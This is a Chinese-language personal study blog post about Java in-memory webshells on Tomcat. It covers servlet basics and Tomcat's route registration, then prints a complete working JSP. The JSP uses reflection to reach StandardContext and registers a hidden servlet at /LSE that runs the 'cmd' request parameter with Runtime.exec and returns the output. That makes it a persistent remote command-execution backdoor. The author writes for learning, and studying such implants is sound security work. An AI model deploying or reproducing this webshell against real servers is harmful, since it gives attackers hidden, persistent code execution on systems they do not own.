其实很早就想学习java内存马的知识了。虽然现在对java安全的了解还很浅显,但是因为我个人对各种马比较有兴趣,所以这篇文章想浅显的认识一下内存马

基础知识

学内存马之前我们需要先了解的概念挺多的
1.啥是servlet
2.啥是tomcat,tomcat的结构逻辑又是啥。

我们先来谈一下servlet

servlet是javaweb中一个非常重要的组件,其可以获取客户端的请求与发生响应到客户端。

servlet的生命周期

Servlet 初始化后调用 init () 方法。
Servlet 调用 service() 方法来处理客户端的请求。
Servlet 销毁前调用 destroy() 方法。
最后,Servlet 是由 JVM 的垃圾回收器进行垃圾回收的。
https://www.runoob.com/servlet/servlet-life-cycle.html

DEMO

先来简单写几个servlet的demo吧
首先我们先来看一下jakarta EE自己生成的javaweb代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.lse.java_shell;

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet") //使用webServlet来将类添加到路由/hello-servlet
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello LSE!"; //init初始化
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html"); //设置响应模式

// Hello
PrintWriter out = response.getWriter(); //通过getWriter来得到一个PrintWirter对象
out.println("<html><body>"); //通过println输出响应
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}

public void destroy() {
}//关闭数据库连接关闭后台进程
}

我们可以看到上面的代码是使用的@WebServlet来进行路由的映射,我们还可以使用tomcat项目结构下的web.xml来对路由进行映射

我们可以看到其使用的是doGet来获取请求进行响应,其实我们直接使用service也是可以的

我们在菜鸟教程里看一下基础的知识我们可以知道。service回根据请求的不同而做出不同的动作,即其可以得到GET请求的内容也可以得到POST的乃至PUT的,而doGet和doPost看名字也知道其是获取专门请求的

这时候我的好奇心一下就起来了,当service和doGET,doPost同时存在时其会如何处理?

于是我写入如下demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.lse.java_shell;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.ws.Service;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;

public class HelloLSE extends HttpServlet {
private String LLL;
public void init(ServletConfig config) throws ServletException {
LLL="LSE";
}
@Override
public void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//super.service(req, resp);
String name = req.getParameter("name");
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<html><body><h1>");
out.println("Hello, " + name + "!");
out.println("</h1></body></html>");
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
out.println("<html><body><h1>");
out.println("doGET!!!!");
out.println("</h1></body></html>");
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
out.println("<html><body><h1>");
out.println("doPOST!!!!");
out.println("</h1></body></html>");
}
public void destroy(){}
}



我先是没有调用super.service(req, resp);来尝试其他这个web

经过尝试发现不论我用什么方法都之后触发service,这是因为service的等级要高于doGet和doPost,其先一步拦截的请求并响应。
我们再产生一下调用super.service(req, resp);会发生什么

其会根据方法的不同来调用我们重新的doGet和doPost,且其自身的响应漏洞不发生改变。\

这时候我脑子里又有了个问题,如果我没重新doGet或者doPost会发生什么?

这是我发现其直接返回405错误说我们的请求方法有问题,连自身的响应逻辑也不会运行了

原本我想简单调试一下其逻辑但是发现竟然调不动,后面发现时我maven的里没有安装omcat-catalina

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.97</version>
</dependency>

但就算安装了后也不知道为什么不能看到全部的逻辑调下来非常的怪
所有我就不在此深入了。

啥是tomcat

来介绍一下tomcat吧,我们前面编写servlet的demo时都用到了tomcat,tomcat简单来说就是一个web的容器,其将我们的servlet进行了多层包装

而tomcat总共有4种容器分别为Engine、Host、Context和 Wrapper。而这四种容器的关系不是平行的而是父与子的关系

放一张经典老图

上面的图标识了tomcat容器的嵌套关系一个Engine内套多个Host,一个Host内套多个Context,一个Context下套多个wrapper

Wrapper其实就算对Servlet进行简单的包装,可以简单把它理解成一个servlet实例
而Context就算一个web的一级路由
而Host就算一个web站点。
Engine就是引擎,其作用是协调多个站点其通常与Service来配合进行工作注意:这个service和我们之前将的servlet下的service的方法是没有关系的。servic的作用主要是管理和开启引擎和连接器的

从上面的图我们就可以很清晰的看出来每个容器的关系

servlet的初始化转载流程

我们通过之前的学习都知道了servlet会通过web.xml来对路由进行映射。那其过程是怎么样的呢?
简单调试一下。
Tomcat源码初识一 Tomcat整理流程图

从上面的流程图可以看出来xml赋值为路由的过程是在configureContext这个类下实现的,那么我们直接在这个类里下个断点

运行到断点我们可以查看webxml的内容

其存储着xml中定义的路由,名称,全类名等
我们再看一下context的类型可以发现其为StandardContext

我们一路往下调,调到如上代码。上面的地方,上面的代码就是一个for循环将webxml的内容赋值给servlet。
然后再for循环内创建wrapper。然后后面的操作就是使用wrapper来封装servlet。前面两个servlet是系统自带的

default

jsp

我们这里直接从第三个开始调

先是setname,name就是xml中的name。

然后是setclass

之后就直接将wrapper挂载到context之下了。

现在我们还差一个设置路由的部分

如上。

我们可以发现就是在下一行的代码,路由好像是直接挂载到了Context下。

到这里tomcat的xml路由注册就已经完成了,但是光注册是没法执行代码的,还需要对类的实例化,但是因为懒加载的逻辑,只有在我们访问路由时才会进行实例化的操作

jsp生成内存马

我们先尝试使用jsp来生成内存马
我们先写定义一个恶意的servlet类如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%!
public class Shell extends HttpServlet {
private String LLL;
public void init(ServletConfig config) throws ServletException {
LLL="LSE";
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 执行外部命令,获取命令的标准输出流
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();

// 使用 BufferedInputStream 包装 InputStream,提高数据读取效率
BufferedInputStream bis = new BufferedInputStream(is);

int len;
// 持续读取输入流中的数据,直到流结束(即读取到 -1)
while ((len = bis.read()) != -1) {
// 将读取到的字节(len)写入 HTTP 响应流,向客户端返回数据
resp.getWriter().write(len);
}
}

public void destroy(){}
}

%>

然后就是想办法将上面的恶意类注册了。根据之前的注册流程我们要先获得一个standardContext。
写出如下代码打个断点调试一下
1
2
ServletContext servletContext = request.getServletContext();
System.out.println(servletContext);


我们可以发现servletContext的context的context就是我们要的standardContext这里我们可以通过反射来得到
1
2
3
4
5
6
7
8
9
ServletContext servletContext = request.getServletContext();

Field applicationContext = (Field)servletContext.getClass().getDeclaredField("context"); //反射得到servletContext的context字段
applicationContext.setAccessible(true);
ApplicationContext appContext = (ApplicationContext)applicationContext.get(servletContext); //通过Field.get的方法来获取这个字段的值即获取context的值ApplicationContext

Field standardContextField=appContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(appContext);

得到StandardContext后,我们就只要按着之前调的步骤注册就可以了
1
2
3
4
5
6
Wrapper wrapper = context.createWrapper();
wrapper.setName("LSE_shell");
wrapper.setServletClass(Shell.class.getName());
wrapper.setServlet(new Shell());
context.addChild(wrapper);
context.addServletMappingDecoded("/LSE","LSE_shell");

组合起来如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
Created by IntelliJ IDEA.
User: 24882
Date: 2024/11/23
Time: 下午11:01
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Shell extends HttpServlet {
private String LLL;
public void init(ServletConfig config) throws ServletException {
LLL="LSE";
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 执行外部命令,获取命令的标准输出流
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();

// 使用 BufferedInputStream 包装 InputStream,提高数据读取效率
BufferedInputStream bis = new BufferedInputStream(is);

int len;
// 持续读取输入流中的数据,直到流结束(即读取到 -1)
while ((len = bis.read()) != -1) {
// 将读取到的字节(len)写入 HTTP 响应流,向客户端返回数据
resp.getWriter().write(len);
}
}

public void destroy(){}
}

%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContext = (Field)servletContext.getClass().getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext appContext = (ApplicationContext)applicationContext.get(servletContext);
Field standardContextField=appContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(appContext);
Wrapper wrapper = context.createWrapper();
wrapper.setName("LSE_shell");
wrapper.setServletClass(Shell.class.getName());
wrapper.setServlet(new Shell());
context.addChild(wrapper);
context.addServletMappingDecoded("/LSE","LSE_shell");
%>
</body>
</html>

访问shell.jsp就可以发现成功写入内存马

通过反序列化打入内存马

上面我们提到了通过shell.jap来写入内存马,但那终究还是有文件落地,想要实现无文件落地还是要使用反序列化打入
后面再学吧,一开始对你内存马还是很有兴趣的,但是一学就没什么兴趣了,太难了,前置知识太多,而则会个无文件落地的内存马注入找不到servlet的内存马。。。